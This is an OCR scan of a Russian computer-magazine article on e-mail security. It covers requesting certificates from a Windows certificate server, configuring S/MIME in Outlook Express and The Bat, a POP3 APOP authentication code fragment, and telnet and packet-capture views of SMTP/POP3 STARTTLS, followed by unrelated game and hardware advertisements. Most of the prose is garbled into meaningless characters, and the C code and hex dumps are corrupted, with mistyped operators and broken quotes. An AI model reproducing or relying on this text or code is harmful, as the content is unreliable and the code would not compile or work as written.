"""" NAPOEOEEAO AER
YEAEODTIITE TTx0U:
START = RUN = HTTP://IP_
OATOPA_RADO/CERTSRV.

Ze63TAR00 YEAsOSTI 104 ATTAUIATEY
4006 eeearoas. Aey
TaaTAS0RY 6AT03 Ad0e-
T ATATTEUCTAA0URY
aasypuiei

2 AUAEDAAGU TTOEP
REQUEST A CERTIFICATE,
ETASU NEXT.

OATOOTH, 1T 10 TTATeT141 AaTé ATa-

3 AUAEPAA@U E-MAIL
PROTECTION CERTIFICATE,
ATADU NEXT.

4 CATTEIRAQGU TTER NAME
E E-MAIL (TNOAEUTUA
TT £AEATED).

[l
3y&0 AT4, & Todartacia+aiiaeé aey

fie yeaeodTiiTé TT+00
15T6846004 i
8a0a a8y 6eOJTATE TTaTefe (153aTT-

6adaal, 0T nadoeoedas 6aTnoTad-

g’.
,

Aoal aTeTa0d6aT, 6éachaay yeasosTi-
T0¢ 24040, TT aTeéxafl o f
4a00 i TAda0TOT aadaiT

T fi

086y (08T, BTOTE0E TTAM0AARORY

paagecaoey APOP (00aalaio E14a acyo ec hranoaaliTar

int do_apop(struct authinfo * ai, void * arg){
#define param ((POP *)arg)

char digestl[16];

char digest2[16];

MD5_CTX Context;

if(lai->clearpasswd) return 202;
MD5Init(&Context);

100U NTANOAATTUE NADOEOEEAO, OTOR TTATATUE OET AOAEE

+0T gatietiaao TLS

E NADAADT T, TTAAO TTTUOAOUNR TTANO-

NOUANOAATIT NETATAA A PAAEECAOEE. EEEATO, TNTAATIT

TDTECATARUEE TTAEEPXATEA ATADAUA, AUTOAAAT TPEITROU

TDAAOTDAAAATEA. TTYOTT0 TA NOTEO TOEACUAAOUNR TO AA-

a 180 « T0a80800»). Afige TT
74 40440 fiTaraaaol, TT+0Taté éeearo
a

2

aafo TThoaaeou 6edaTadp TTarel

1
fidl.
s TAEETAAQU SUBMIT

E AAEAA YES.

6 TOEDUAAAZU TNTANOEO
CERTIFICATION AUTHORITY
'UPOADA, TA ETOT-

DT 1 ONOATTAEAT OATOD

TUPOAPA AEENU. AER YOT-

AT CAOTAEQDU TA NOPATEx-
EO HTTP://IP_OATODPA_NADO/
CERTSRV/CERTCKPN.ASP,
AUAEPAAGU TOETUE
CATPTN E £1AQU NEXT.

8 AUAEPAAGU INSTALL THIS
CERTIFICATE E £1AU YES.

(€Y}

MD5Update(&Context, param->banner, strlen(param->banner));
MD5Update(&Context, ai->clearpasswd, strlen(ai->clearpasswd));

MD5Final (digestl, &Context);
scan_digest(param->pop_parm[2], digest2, 16);
if(memcmp(digestl, digest2, 16)) return 203;
return callback_func(ai, arg);

— .2

/* callback_func aTézxia Trodadéeol danTTeTzaiéd mailbox/maildrop & uid/gid 7

authinfo*/
#undef param

}

char * name = p->pop_parm[1];
char digest[16];

(void)strncpy(p->user, name, MAXUSERNAMELEN-1);

if((res = scan_digest(p->pop_parm[2], digest, 16)) != 16)
return pop_msg(p,POP_FAILURE, "Invalid APOP digest');
if(lauth_getuserinfo(*'pop3™, name, do_apop, p)){
p->auth = COURIER_APOP;



addu, ~0T a fTeneéa fnasoe-

Oeea0Ta 6+401Té carene Aéena
a

2

i
a0adToep Personal aTaaaeéfy i11-

a0é fidgoedeean. Agy yorar:

1 START - RUN - MMC.
HAZETAAQU ENTER.

2 AAEAA FILE, OAT ADD/REMO-

VE SNAP-IN E A TETQEA ADD.

3 AUAEPAA@U CERTIFICA-
TES E £1AU ADD.

4 TNOAAERAGU TTOEP MY
USER ACCOUNT E £TAU
FINISH.

s AAEAA CLOSE E OK.

6 NTTOPE@U AAOAU CERTI-
FICATES — CURRENT USER \
PERSONAL \ CERTIFICATES.

7 A TETA NTPAAA ATEEAT
TTRAEOUNR OTEUET x0T
ONOATTAEATTUE NAPOEOE-
EAO (ANEE AT YOTAT TA
EAOU TTEUCTAAOAER, YOT
AOAAO TAPAUE EEE AOT-
ETOTHUE NTCAAAONR AA-
OTTAOExANEE TPE OEODT-

A@UNR, xOT TA CAEEAAEA

T TOT0TETEA IMAP

GENERAL OEACATTA OAEU:
PROTECTS E-MAIL MESSAGES.

TA CAEEAAEA DETAILS

AAPAN TT TTAOAADAAAAQ.

Tadaoe afeiaied fa fodT+é6 «You
have a private key that corresponds to
this certificate». YOT ¢ia+eo, 0T Aad-
060€8as NTaadees Tadd «Toéda-
o0é/caéstionié éep+».

TIITE TT+00, 48y éT0T-

aa0an yeaeo

NTcaadol TeRiiT (afige & 1T+
TAT1 8EeAaT0a TANETEUET 6+30T00 ca-
'efidé, a0iaedadal a&y ToTdaase 0o,
46y ETOTETE ARDD NABORGAEAD
VAol TaT40TaeT104 TTEY & &ei1asl
«Sign» eée a T1aip Tools atiaedaaai
Digitally Sign. E ToTdaaéyaat. O4Tadu
AGTT (anée i

- Oy

EAT E xEOAAO. TDTOTETE IMAP TTADAGOTAAAAQ, xOT ANAE TA-

DAATOETE TTx00, AEEPxAR DANEEAAEO TT TATT=EAT, TTENE

NTTAUATEE, OTPAAEATEA AETAATTUITE A TEO OAEEAIE E

NTDOEDTAEO TT DACEExTUT EPDEOADERT, CATETAAONR TTx0T-

EO IMAP. YOT AU

TIRAEATER TDTOTETEA (1988 ATA). AAETNOAATI

AAOUT ATCTTATTNORT TTOTATAT NADAAPA TT
TAT, AETT :
AECTU OEEATUEET TADNTTAEEAT, ETAAGETNR TA

OTA , xOTAU TA

TEAT, NTTOAAONOAOPUET EAATETAEE IMAP, NOAEA TDTADAT -

TA «PINE», ETOTPAR AEOEAI

NAO, AAA O NOOAATOTA TAO AUAAEATTUO TABNTTAETE, OTEU-

ET OADTETAEU.

A AREAOU «EOOOP» OOTEOE

ENTTEUCOAONR A AEAAAT ExAN-

EEAR-

TEUEO ADOAEA THEETAATER ANA DAATT TTAAADAEAAEE

AEUTUE TAATD IMAP, PAAEECOR DAATOO N TT=O0TE
TIRAEAEANR A TTNEAANOAEE TTxOTAUA ARA-ET-

OAPOAENU TTCATEEEE OTDAAEROU TT=OTE xADAC NOATAAPO-

TUE ADAOCAD. OAEET TAPAGT I

, A TANOTRUAA ADATR NTUNEA

ENTTEUCTAAOU TDTOTETE IMAP TAO, OAE EAE ECAUOT<TUE
OOTEOET TAE ANAAAA TPEATAEO E TBTAEATAT N AACTTAN-

TTNOUP ETAA.

TT YOTE TBExETA IMAP TA AOAAT DACAEDAOU

TOAAEU

1T TDTOTETEA POP3.

T, 1T E TATO TOTTNEONR ANA OT, xOT NEACATT

fiad0eHeeao, TeéoTadal ia rrarefie
464380 i 68ARTOT BB0EETT & TTYAeoRY
TOAA0TOaeaaTE4 AaCTTan1Tnoe.
O0&T&30 TafiodTeT The Bat 48y
enTTeélcTaarey nadoededaota:
1 TOEPUAAA@U THE BAT, A
TATP NATENOAA —» TAPATA-
0bU S/MIME E DAAEECAOER
SIMIME, AUAEDAAZU SIMIME
MICROSOFT CRYPTOAPI.
2 EPETOTIDTAAEAADA,
AEATDEOT U QEODTAATER
E TTATENE TNOAAERAGU
TT OITEXAIED.

3 AEEPxAAGU TTOEE
«TTITEOU NARCE E-MAIL

AADANTA N NADOEOEEAOA-

AER OEODPTAATER» E TA-
EETAAGU TE.

4 AAEAA CAOTAEQ@U A TA-
b RUEE — NATENOAA

EEAAEA TADATAODO.

5 A ADOTTA PAAAEOTD TE-
NAT OAEPAAZU TTOEP AA-
OT — OPENPGP E TNOAAER-
A@U AAOT — S/MIME, TAZEE-
TAAQU TE.

Aagaa, ~0Tal 47434800 yeasodTiiop
TTarenl, TThea fiTcaaiey refuia ca-
M A A S 8 Tpe B X AeeAa X AN A 28
6Taé a 1afp «E0éToTacadey é aact-
TaRTTAOU» & A048daé «TTATeRaol
Tad3a TOTOaaETé».

2> @e0dTasa. 04TAdl cawedds-

&1 TeAUIT. Ay yoTal

6 1an atéxar

00é éep+ Tde yoT1 Ta yéfirTooeds-
aofy) & 6aée, Tadaaacu yoTo 6aée
T TITT 0Té

0Té 24 yEaBodTIITE TT+
T

Aéena
1

®awl TTATENAOU YOT TEAUTT

@edOoTaA0l TT+00, ETOT-
T Tea0 danzedaTaao0l
00, cagedoTaaiiop A TTiTUulp
yOTaT fiddoedeéaca.
1 A TNTANOEA CERTIFICA-
TES A AAOEA CERTIFICA-
TES — CURRENT USER \ PER-
SONAL \ CERTIFICATES TPA-
OA ATAA (AER OAEAE PRO-
TECTS E-MAIL MESSAGES),
ALL TASKS, AAEAA EXPORT.
2 ETA@U ODE DACA NEXT,
AAEAA OEACUAAAGBU
TACAATEA YENTTDPOEDPOA-
TTAT OAEEA, TAEETAAGU
NEXT — FINISH E OK.
3 ATNOAAERAGU YOTO OAEE
TAETITUPOAD AEENC.

T2 eTTTipoada Aeent adéadoil nea-

aopuaa (aéy Outlook Express):

1 TOEPUAAA@U OUTLOOK
EXPRESS, A TATb TOOLS -
ADDRESS BOOK.

2 A TATP FILE -

NEW CONTACT.

3 TA CAEEAAEA NAME
CATTEIRADU EIR E YEAE-
OBTTTUE AAPAN ATAA.

4 TA CAEEAAEA DIGITAL IDS
A SELECT AN E-MAIL AD-
DRESS AUAEPAAGU OTEUET
x0T AAAAATTOE AAPAN

E TAEETAAQU IMPORT.

5 TAOTAEQU OAEE,
AETOTHTT TAOTAEONR
YENTTDOEDTAATTUE
DATAA NADOEOEEAO ATAA,
E TAEETAAQU OPEN.

s TAEETAAGU OK

E CAEPUAAAZU
AAPANTOP ETEAO.

AR, 041400 1Teésl & TTATeR04a0l,
& peOdTAAl TefiiTa ATao. Aéy yoT-

i Te, 6e4aT +adac

o Tools i Troeyie Encrypt € Digi-
Sign aéep+eol Troee rrTarefie e
arey.

a0 TOT0adeol cagedITaAT-
a TTiTAUp The Bat, ia
21T ATAaaéyol TTE0+a0a8y 4 aada-
6p é7eds e faychaaol i 11 nadoe-
Oe8ao, 0aé éaé Toe TOTdadea Tefiia

adoT1aoe+anee roTecaraeony rrefé

OTT AATETTE EEEE.

2 AUAEPDAAGU INSTALL CER-
TIFICATE.

s AAA DACA NEXT E FINISH.

4 CAEDUAAAGU TETQET

N NTTAUATEAT TA ONTAD-
ITI EITTBOA — OK.

Ange TTRI Tode sl Ta fiaTénoaa nadoe-

Tauaiey «You have a private key that
corresponds to this certificate» Ta ¢a-
862464 General T4 6aéaeail. Y
OT16, +0T 6 Aéen &fol OTEUET Toed0-
00é éép+ ATaa & 140 caédoTAT.

T2 62d0e1ead aeaiT, +0T 40440
TeAUTTI Aéenq, aiee 148
11 e1e0820Td da@eo ondaiTaeol
fa 160e T8ToTe4aTey TeflTa fife-
643 & TTéTaol SMTP-00adeé. Eae

\ QS

+T1 eée TacataoiT aranoe eciafa-




iTT0ad0M0a0p U1

-a0a¢ CAPA
(TT6&y STLS), & SMTP — +884¢

35 1E.0370R0 1921681900700  192.16R.180.178 TOP  mtp » 108 A
36 1ACMATEOL  192.168,190.128  193,168,100.200 SMTP  E0M: EHLO. 16e1a01iT 0aé:
1]
i telnet mail.example.com 25
03ch "4 d4d 4c 3= 3c 48 4% 41 44 3e Od Oa 3c 4d 45 THML¥THEA D¥. . dMET =
03do 41 20 AR 74 T4 T 2d A5 TL 7S A9 74 3d 33 &4 43 & http-e quive3nc <<220 mail.example.com ESMTP
03e0 oF €e 74 65 Ge 74 2d 54 7O 70 65 20 €3 £F 6B 74 onrent-T ype cont SSEHLO me
03F0 65 Fk 74 3d 33 44 22 P4 65 78 74 IF 6B 74 6d 6 Enr-307r ext/hral }
peO0 Fh 20 63 6O BL T2 73 65 T4 Jd 33 43 b &f 69 38 charse t=Jokole <<250- mail.example.com
D410 2d 72 22 30 Od Oa 3c 4d 435 54 41 20 &3 &F 6@ 74 -r"»..< ETA <ont
Q420 B B 74 3d 33 44 77 4d 53 &K 54 Ad 4C 20 36 Je  entw=i0M SHTML 6. <<250-PIPELINING
0430 30 30 Ze 32 38 30 30 Ze 31 31 30 36 22 20 Ge &1 DD.ZEO00. 11067 na
DEd0 Bd BS Td 3T 44 47 45 4o 4% 52 241 54 4F 52 30 Od mowiIDGEW CRATORS. <<250-SIZE 10240000
CEf0 Oa 3c %3 %4 S dc 4% Je 3c 3F 53 54 99 dc 45 e L £STYLE £/STYLED <<250-ETRN

Pesee G5 Capture Zanmiy
ﬁﬁﬁﬂi EEx@E ResDF L B

<<250-STARTTLS

<<250 8BITMIME

 yaeypony
a0AGUTOA fig-

Aey peddTaaTey 0dadesa
Teedo 4ol efTTeucTaar TLS (Trans-

port Level Security), a0a@éé SSL (Se-
cure Socket Layer). Taa facaaiey ia-
, 026 éaé Oaéoe+aneée TLS ya-

TOTOTETETT NAaifTaTaT 60Ta-

\ E I telnet mail.example.com 110
Bbers = | Erpression... | (s | dnely
—’- <<+OK 3APA3A/POP3-3.0-beta
Infa <8231.1158097553@mai I . exam-
13 70,5160  192.16H.190.200  192,.108.190.128  SMTR  mesponsa: 23 ple.com>
14 70.765184 190.168.100,128  100.16B.150.200  SMTP  Command: DAT| _
15 70,785168 192,166.190,200 192,188 190,128  SMIF  Hesponse: 35 capa o i
FURLATTR R AT L R Cery JE 2od <<+OK Capability list: 14 id0aad pop.example.com, a a ia-
| <<TOP 00TéEad TT-0TaTé ToTadal 10 663
3 T c &l 0 crosoft ok ook <<USER caou mail.example.com eée T
240 45 7B 7O FI 65 T3 73 20 36 2e IO 10 Ze 32 38 30 Express 6. 00.280 SExSx 3
250 30 22 T1 31 30 36 Od Oa 58 2o 40 69 6d 65 4T 4c  0,1106.. X-MimeoL <<APOP IP-aadaf, o
260 45 3a 20 50 72 &F &4 75 61 65 64 J0 42 7O 20 4d E: Produ ced By M <<AUTH {od dTeeT
270 45 63 72 6F 7% GF 66 T4 30 4d 69 6d 63 4F dc 4% dcrosoft  MimeoLE °
280 20 56 16 ¢ 30 10 2e 37 3% 30 30 Ze 31 31 30 36 V6, 00.2 BOO,1106 <<UIDL GEE!
200 Od 03 Od Oa dd 49 41 47 A1 53 71 AT 53 49 &2 33  ....MIAG CSqosTbl g
2a0 44 51 4% 48 41 34 43 41 4d 46 41 43 41 %1 41 TB  DOERAGCA MTACAQAX <<STLS fiad
2bh &7 AT 47 81 4d 4% 4B db 41 A7 45 41 4d 48 91 77 SaMTHI AnEAMHO == T
3ch %3 A3 45 8b dd 43 4D 47 A3 53 FL AT 53 40 42 33  ZTEkMCIG CSqGsIb: =
20 44 51 45 da 41 52 55 56 5% 57 52 74 AL 57 35 41  DOEJARYY YwWRTawSa ATAA0
2el Od Da 84 48 43 48 A1 57 35 34 &2 32 3% Ac dc &d  , dH)haw 56b250Lm s XA ea g o xa as
2F0 e 73 50 %58 de Ta 4d §1 7Y TV A3 B1 B0 44 %6 §1  msvMMTMG SWOOYOWG AiTifiedTaaied STARTTLS +adac 6éac
300 51 47 45 77 #a 53 56 54 45 50 dd 41 30 47 41 31 QGEWISVT EPMaDGAL Ao A s e x
310 55 45 42 70 4d 47 54 Ad A 36 AL 47 3% 35 4d 51 UEBeMGTm 18aG55MG EHLO TTcaTéeyao efiitélcraaod TLS ~ TdTada
320 34 77 44 41 5% Ad 56 51 SL 4k A5 77 556 44 Od D24 AWDAYDNY QEEWVD. .
iy, 0T &fou TadTaeony atwa 0da
TTBOTTAT (TCP), 1T Té®4 05TATY
TOAAM0aAEaTey, é ETOTOTIO T

fiTédon Toeééa
HTTP € 0.4.) 68
EpaTé TOTOTETE
ATeelT T6M0800 TTaad0 TLS.
TT2306 00ATATTAOTTAT OOT:

ey i

'OTOTETEA 0aé

oeoeeao n

a0 EGEEGED

T a0aaeyaoiy Toadeuraeé 1Tao
€ é Tacaaiep T8TOTETEA aTaaaeyaony
408Taéa s (secure), TaTde1a8 HTTPs

(TCP/443), POP3s (TCP/995), SMTPs
(TCP/564). TodaiecTaaol 0aaToo Add-
A3061T4T TOeETATEY TTAAB0 TLS &T-
fioaoT: Tan&TalT, 4azd ance Toe-
ETeedied T4 TTA480224280 TLS. Agy
860 60eeeol oerTa stunnel.
T TT434026¢ TLS 1T

6 TT00, & dafi@eda-
SMTP Té&-
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/ 3axBaTbIBaroLLE,
L
GOTIFRNES l Camoe yaadroe
OF HEH{IEIS; M 4 oxar iy 1ﬁl]B BOI1/IOLLEHNE MPABUJI
ASSASSIN'G |/ HSMEHHEI]T'J' P Dungeons & Dragons 3.5
CREED (A SO B KOMIMbIOTEPHbIX UMPax.

NMENHL NEFCHHA
WHEMHOrD PEAXEHAR

THE S1MS:2:

0 BPAT
MEH b WK

HERDES, ; [lepeBopoT B XaHpe:
F'a Jly4quias ctpaterus
?nHJHnFT 2006 roga ot co3gatesnesi
S Homeworld n Warham-

L\W{;Wﬂ mer 40.000: Dawn

ML\@QM%) e

lﬂ‘s CARBON FIFA D7

Takum mor 6bI cTaTh
System Shock 3...

WSS A1 |95T0E CREED @ UYERWNTEN WiSHTE
MOCTEF HOMM ¥: BNANGINE CEBEPA w EMAPTA

RAXIIOM ROMIERES YepTOBCKM AOCTOBEPHbIL

> [ABA aBTOMOOUJIbHbIN
AByxcnoiHbix DVD (o6wyynii o6bem 17 Gb); cumynsaTop!

> [ABA

_mocrepa; A TAKKIES
> ABE e > MpeBbro: Assassin’s Creed,
Haknenknl!l! Bioshock, «BoiiHbl [JpeBHOCTK:

HOBbIN Tapudc Cnapta», Rayman Raving Rabbids,
«bpatBa 1 Konbuo», Drakensang,
Grotesque: Heroes Hunted,
«OTenb «Y normbwero anbnMHUCTa»,
Need for Speed Carbon...
» PeyeH3un Ha Company of He-
roes, «The Sims 2: MNMutoMubl», GTR
2, FIFA 07, LEGO Star Wars II, The
Ship, Joint Task Force , «B Tbiny
Bpara 2», Broken Sword: The Angel
of Death, Call of Juarez , El Matador,
Lot . o Paraworld , Safecracker, GTI Racing,
B e o NHL 07, «AnbaHc: [IBonHOW Yaap>»,
& ] American Chopper 2, «4epHbiii
Kopcap», Dragon’s Lair HD...
N mHoroe-mHoroe agpyroe!




iirefiTé 0anoesoaT TaT 1
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FLAT Iy

ApKoe HachlLLEHHOe 1300paxeHue

Kuakokpuctannmueckuin morutop L1750SG-SN Flatron
Bunumasn obnacts 17" (43.18 cm) /Touka 0.264 x 0.264 mm
ApkocTb 250 ka/M2 - TunuHan /Kontpactioctb 500:1 - Tunuynas
Monceetka 4 namnbl CCFL /Yron o63opa 160° no ropuaoxtanu, 160° no seprukanm
Bpems otknuka 8 mc /Mnybuna useta 16.2 M. useToB
Coorsercraue craHpapram TCO'03 /Paspewenune 1280x1024@75 'y

Mudopmaupmontan cnyxba LG Electronics 8-800-200-76-76 (becnnarHas ropayas nuHus no Pocuu) www.lg.ru

= LG C %
- " | v 4
% WWW.Ig.ru L~ Dina Victoria
o c (D95) 688-61-17, 688-27-65
WWW.DVCOMP.RU
Oo d

Mockea: Pronet Group (495)789-38-46, Mockea: Heotopr (485)223-23-23, Mocksa: paasuyHan cets Potaris (495) 755-55-57, Mockea: @-Lievtp (485) 472-64-01, Mocksa:
NT Computer (495) 970-19-30, Mockea: Texvocuna (495) T77-87- 77 Mockea: Kosnatuna Kur (405) 777-66-55, Mockea: Flake (495) 236-008-25, kB AB-rpynn (495) 745-5175,
Mockea: Cetesan aboparopus (495) 784-64-90, Mockea: ISM (495) 718-40-20, Mocxea: Huxc (495) 974-33-33, Mocxesa: ONOM (495)105-07- 00, Mociea: USN Computers
(495) 221-72-97, Mockea: Crapt-Mactep (495) 935-38-52, Mocesa: Axcrter (495) T84-72-24, Mockea: Snwappago (495) 500-00-00, Mockea: Kubepiponaka (495) 504-25-31,
Mockea: [lunafn  (495) 969-22-22 Mockea: LLTRA Computers  (485) 775-75-86, 728-52-55, lomens: [N [485)250-55-36 Nepear: Fackos (3422) 36-37-75, Bonrorpag;
Bonr pomrpamciTema (B442) 90-30-30, Mockea: Anmep (495) 101-39-25, Mocesa: Makpocer (495) 924-27-47, Mocksa: TunepMapket Canpaiis NMpo {495% 542-80-70,
Cavrr-Nerepbypr: OBM-Hesa (812) 3251105, Huxnesaprosck: Maxkopn (3466) 61-22-22, Kpackonap: Mvakro- Kpacwogap (861) 2551-552, 2510-915, Hosocubupo: Keecta
(38322)332-407, Hosocubiper: Apcvicurer (383) 221-18-89, Bomrorpay, Texdom (8442) 97-59-37 Hiennit Hosropop: ARTwOw (8312) 74-85-89, Tiometn: Muaxe- Texda
J452139-00-36, InextpocTans: Aomoremvea (257) 21488, Wpkytor: Komreyk  [38532) 258338, W ; bunaiy (3952) 24-00-24 Kpacuonpex: Anwao (3912) 21-11-45,

wnew:; Perapg Typ (0742) 48-45-73, Boponex: Canu (0732) 54-00-00, Bopones: Per (0732) 77-93-39, Tomcx: Crex 13-522255-?I 43, Pazanb: [BK (0912) 50-00-00,
Fomens, Kosnwiotep Mapker (0232) 48 1048 TiomeHs: Toprobwit goM «Becws (3452) 750000, 0penbypr: Mepwec Tenexom|3532)536- 565, Omcr: Textonaps: (3812) 57-93-19,
AnbueTheack: KomnsoTepsil map (8553) 25-08-48, Boposex: PUAH (4732)512-412, Nabarwanne: KL Hvan  (34992)51-777, Meesce: 3NMW(3412) 50-50-50, Omcx: Nu-2000

pAC et ‘funa Bukmopur® ochuluansHsid duempubsomop Mokumopos komnakuu lg electronics #a meppumoput PO.
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[lpopbiB roaa!

Komneiotep mapku <NT> AdvaNT AGE
Ha 6ase npoueccopa Intel® Core™ 2 Duo.

Intel®Core™ 2 Duo
Mpougeccop, onepeauBLLIWA BpeMA
Ha 40% 6bicTpee, Ha 40% 3koHOMUYHee™

KomneioTepsl Mmapku <NT> momuo npuobpecru B
DegepansHOW CETH KOMNBIOTEPHLIX UeHTpoR POLARIS
M Yy HaWKX PeruoHanbHbix gunepos: www.nt.ru

Ten.: (495) 363 9393

computer

www.nt.ru inside”

Ofioasmeenmm Intal, Imtel Coee, inbel logo, Intel Inside, intel Inslde logo i Core inside REARITR TORSIHLMS IHEHEM, M50 JHPEMMCTENDO BRI
TORARHEMIA SHAREH, NPESA HE ROMGRE NEMHEAMERET ROPNOPaLEK ISl Kad o6 NOADAAARARHEIG HE TRRRITGRINY CLLA W APyTHa CTRAH. ,ﬂBa A4pa.

* MIpOMEBOANTEALHOCTE MIMEIRAICY. € NOMOULLD STEAGHNOI TECTE NpMOBoAMTEM0cTH SPECINE _ate_base2000 (2 moeunsspal, '[lE_ﬂ a ﬁ ﬁﬂﬂ BLLUE.

B IHEDrOnIDetAHIE = N0 IHBHEHHIO TENAOBRARARMS (Thermiel Design Power, TDPL Coaprmsarmct Npousccops Inteliit) Core™ 2 Due EGT00
i bEl(R) Pentium{R) O D60, MporIBOARTEARHOCTE PERARHON CHETEME MOKET OEAWATTLCA, AONOARHTEAHYIO HHSODMELHIG MOKHD NOAHTE
il CTRRARLS W, it ruy performanc:
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